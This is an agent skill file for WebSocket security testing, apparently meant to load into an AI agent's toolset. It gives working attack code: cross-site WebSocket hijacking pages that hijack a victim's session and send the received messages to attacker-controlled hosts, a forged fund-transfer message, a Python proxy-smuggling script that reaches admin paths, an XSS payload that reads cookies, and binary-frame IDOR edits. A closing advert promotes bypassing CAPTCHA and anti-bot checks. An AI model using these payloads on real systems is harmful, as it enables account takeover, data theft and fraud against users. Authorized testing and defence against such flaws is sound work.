websocket-security

>-

INSTALLATION
npx skills add https://github.com/yaklang/hack-skills --skill websocket-security
Run in your project or agent environment. Adjust flags if your CLI version differs.

SKILL.md

$27

HTTP/1.1 101 Switching Protocols

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Routing note: in Burp/browser DevTools, filter for 101 and Upgrade: websocket; for deeper API testing, align authn/authz models through api-sec.

1. PROTOCOL BASICS

Client request (typical)

  • **Upgrade: websocket and Connection: Upgrade** — required upgrade handshake.
  • **Sec-WebSocket-Key — base64 nonce; server hashes with magic GUID and responds with Sec-WebSocket-Accept**.
  • **Sec-WebSocket-Version: 13** — current standard version for browser interoperability.

Server response

  • **HTTP/1.1 101 Switching Protocols** — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.

Minimal conceptual flow:

Client: HTTP GET + Upgrade headers

Server: 101 + Sec-WebSocket-Accept

Channel: framed messages (text/binary), ping/pong, close

2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)

Condition

  • The server **does not validate Origin (or equivalent binding) on the WebSocket handshake, and**
  • The victim has an active session (cookie-based or browser-stored creds) to the target site.

Then a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.

Proof-of-concept pattern (laboratory / authorized target only)

const ws = new WebSocket('wss://vulnerable.example.com/messages');

ws.onopen = () => { ws.send('HELLO'); };

ws.onmessage = (event) => {

  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));

};

Testing notes: Confirm whether **Origin is checked, whether cookies** are sent (SameSite rules), and whether subprotocol or custom headers are required—missing checks increase CSWSH risk.

3. TESTING WITH TOOLS

wsrepl

pip install wsrepl

wsrepl -u wss://target.example.com/ws -P auth_plugin.py

Use a plugin to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.

ws-harness (bridge to HTTP for other tools)

python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt

Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):

sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch

Burp Suite ecosystem

  • SocketSleuth — inspect and manipulate WebSocket traffic inside Burp.
  • WebSocket Turbo Intruder — high-rate or scripted message fuzzing.

4. COMMON VULNERABILITIES

Issue

Why it matters

Missing **Origin** validation

Enables CSWSH from attacker-controlled pages

Auth token in URL (wss://host/ws?token=...)

Logs, proxies, Referer leakage, browser history

No rate limiting on messages

Abuse, brute force, DoS

**ws:// instead of wss://**

Cleartext on the wire (MITM)

Injection in message bodies

SQLi, command injection, or XSS if content is stored/reflected elsewhere

Example sensitive URL anti-pattern:

wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Prefer Sec-WebSocket-Protocol, first-message auth, or cookie + CSRF token patterns aligned with product constraints.

5. DECISION TREE

  • Identify endpoint — From JS bundles, Swagger, or 101 responses; note wss vs ws.
  • Handshake review — Are **Origin, Host, and Cookie** policies correct? Any token in query string?
  • Session binding — Reconnect with another user’s cookie jar in Burp; compare subscription topics and data leakage.
  • CSWSH — Load a local HTML page that connects to the target with victim session active; verify server rejects wrong Origin or uses non-cookie secret.
  • Message semantics — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
  • Transport — Flag **ws://** in production; verify TLS and HSTS alignment.

6. RELATED ROUTING

  • From api-sec — authentication, authorization, IDOR, and rate limiting often mirror HTTP APIs behind the same WebSocket routes.

Note: WebSocket often shares session and permission models with REST; use api-sec to align authentication and resource boundaries on the same backend.

7. CSWSH — STEP-BY-STEP EXPLOITATION

Step 1: Confirm no Origin check on WS handshake

# In Burp: intercept the WebSocket upgrade request

# Change Origin header to: https://attacker.com

# If 101 Switching Protocols returned → no Origin validation

# If 403/rejected → Origin is checked (test subdomain variants)

Step 2: Craft attacker page

<html>

<body>

<script>

const ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {

    // Connection established as victim (cookies sent automatically)

    console.log('Connected as victim');

    // Send commands as victim

    ws.send(JSON.stringify({action: 'get_profile'}));

    ws.send(JSON.stringify({action: 'list_messages'}));

};

ws.onmessage = function(event) {

    // Exfiltrate all received messages

    fetch('https://attacker.com/collect', {

        method: 'POST',

        body: event.data

    });

};

ws.onerror = function(err) {

    fetch('https://attacker.com/error?e=' + encodeURIComponent(err));

};

</script>

</body>

</html>

Step 3: Cookies and session hijacking

Browser behavior for WebSocket:

- Cookies for the target domain ARE sent automatically in the upgrade request

- SameSite=None cookies always sent

- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)

- SameSite=Strict cookies: NOT sent

Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?

→ Legacy cookies default to Lax in modern Chrome but None in older browsers

Step 4: Read/write messages as victim

// Attacker can both READ and WRITE on the WebSocket

// Read: financial data, private messages, admin commands

// Write: transfer funds, change settings, send messages as victim

ws.onopen = () => {

    // Write: perform actions as victim

    ws.send(JSON.stringify({

        action: 'transfer',

        to: 'attacker_account',

        amount: 10000

    }));

};

ws.onmessage = (e) => {

    const data = JSON.parse(e.data);

    if (data.type === 'balance') {

        // Read: exfiltrate sensitive data

        navigator.sendBeacon('https://attacker.com/data',

            JSON.stringify(data));

    }

};

8. WEBSOCKET SMUGGLING

Concept

Use the WebSocket upgrade to bypass reverse proxy restrictions, then tunnel arbitrary HTTP traffic through the WebSocket connection.

Upgrade-based proxy bypass

1. Reverse proxy restricts access to /admin (returns 403)

2. Client sends legitimate WebSocket upgrade to /ws

3. Proxy allows the upgrade (101 response)

4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)

5. Client sends raw HTTP request through the "WebSocket" connection:

   GET /admin HTTP/1.1

   Host: backend-server

6. Backend processes the HTTP request → 200 OK with admin content

H2-over-WebSocket smuggling

1. Connect to target via WebSocket

2. After upgrade, send HTTP/2 preface through the WebSocket tunnel

3. Backend HTTP/2 handler processes the smuggled requests

4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic

Implementation with Python

import websocket

import ssl

ws = websocket.create_connection(

    'wss://target.com/ws',

    header=['Origin: https://target.com'],

    sslopt={"cert_reqs": ssl.CERT_NONE}

)

# After upgrade, send raw HTTP through the tunnel

smuggled_request = (

    b"GET /admin/users HTTP/1.1\r\n"

    b"Host: internal-backend\r\n"

    b"Connection: close\r\n\r\n"

)

ws.send(smuggled_request, opcode=0x2)  # binary frame

response = ws.recv()

print(response)

Proxy-specific behaviors

Proxy

WebSocket Tunnel Behavior

Nginx

Passes raw TCP after 101 — smuggling possible if backend doesn't validate WS frames

HAProxy

Depends on option http-server-close vs tunnel mode

AWS ALB

Terminates WebSocket — reframes traffic, harder to smuggle

Cloudflare

Inspects WebSocket frames — raw HTTP smuggling blocked

Varnish

Does not support WebSocket natively — upgrade may bypass cache entirely

9. SOCKET.IO SPECIFIC VULNERABILITIES

Namespace injection

Socket.IO supports namespaces (/admin, /chat). If authorization is only on the default namespace:

// Client connects to privileged namespace without auth check

const adminSocket = io('https://target.com/admin');

adminSocket.on('connect', () => {

    adminSocket.emit('list_users');

});

// Server may not verify that the client is authorized for /admin namespace

Event name injection

If event names are derived from user input:

// Server-side vulnerable pattern:

socket.on(userInput, handler);

// Attacker sends event name that matches internal event:

socket.emit('__disconnect');     // force disconnect other clients

socket.emit('connection');        // re-trigger connection handler

socket.emit('error');             // trigger error handler

Acknowledgement callback abuse

Socket.IO acknowledgements can return data. If the server sends sensitive data in ack callbacks:

socket.emit('get_data', {id: 'admin'}, (response) => {

    // response may contain data the client shouldn't have access to

    fetch('https://attacker.com/exfil', {

        method: 'POST',

        body: JSON.stringify(response)

    });

});

Polling fallback CSRF

Socket.IO falls back to HTTP long-polling when WebSocket is unavailable. The polling transport uses regular HTTP requests with cookies → susceptible to CSRF if no additional token verification:

POST /socket.io/?EIO=4&#x26;transport=polling&#x26;sid=SESSION_ID

Content-Type: application/octet-stream

4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}

10. WEBSOCKET MESSAGE INJECTION

In intercepted connections (MITM on ws:// )

If the application uses ws:// (unencrypted), an attacker on the same network can inject messages:

1. ARP spoofing or network position to intercept traffic

2. Identify WebSocket frames in TCP stream

3. Inject crafted frames between legitimate messages

4. Both client→server and server→client injection possible

Application-level injection

When WebSocket messages are concatenated or interpolated without sanitization:

// Vulnerable server-side handler:

socket.on('chat', (msg) => {

    // If msg contains JSON metacharacters:

    broadcast(`{"user":"${username}","msg":"${msg}"}`);

    // Injection: msg = '","admin":true,"msg":"hacked'

    // Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}

});

Stored XSS via WebSocket

1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>

2. Server stores message and broadcasts to all connected clients

3. If client renders message as HTML → stored XSS

4. All connected users affected simultaneously

11. BINARY WEBSOCKET MESSAGE MANIPULATION

Protobuf deserialization

Applications using Protocol Buffers over WebSocket may be vulnerable to:

1. Capture binary WebSocket frame

2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)

3. Modify field values (e.g., change user_id, amount, role)

4. Re-encode and send modified frame

5. Server deserializes without re-validating field constraints
# Decode captured binary frame

echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw

# Output: field structure with types and values

# Modify, re-encode, send back through WebSocket

MessagePack deserialization

import msgpack

import websocket

ws = websocket.create_connection('wss://target.com/ws')

# Decode received binary message

raw = ws.recv()

data = msgpack.unpackb(raw, raw=False)

# data = {'action': 'get_balance', 'user_id': 123}

# Modify and re-send

data['user_id'] = 1  # IDOR: access admin's balance

ws.send(msgpack.packb(data), opcode=0x2)

Type confusion attacks

Binary serialization formats may allow type confusion:

# Original: user_id as integer (field type 0)

# Modified: user_id as string "1 OR 1=1" (field type 2)

# If server doesn't validate types after deserialization → SQL injection

# Original: is_admin as boolean false (0x00)

# Modified: is_admin as boolean true (0x01)

# Direct privilege escalation if server trusts deserialized values

Tools for binary WebSocket analysis

Tool

Purpose

Burp Suite + SocketSleuth

Intercept and modify binary frames

protobuf-inspector

Decode unknown protobuf structures

msgpack-tools

Encode/decode MessagePack CLI

wsdump (websocket-client)

Raw frame capture and replay

Wireshark

Dissect WebSocket frames at protocol level

BrowserAct

Let your agent run on any real-world website

Bypass CAPTCHA & anti-bot for free. Start local, scale to cloud.

Explore BrowserAct Skills →

Stop writing automation&scrapers

Install the CLI. Run your first Skill in 30 seconds. Scale when you're ready.

Start free
free · no credit card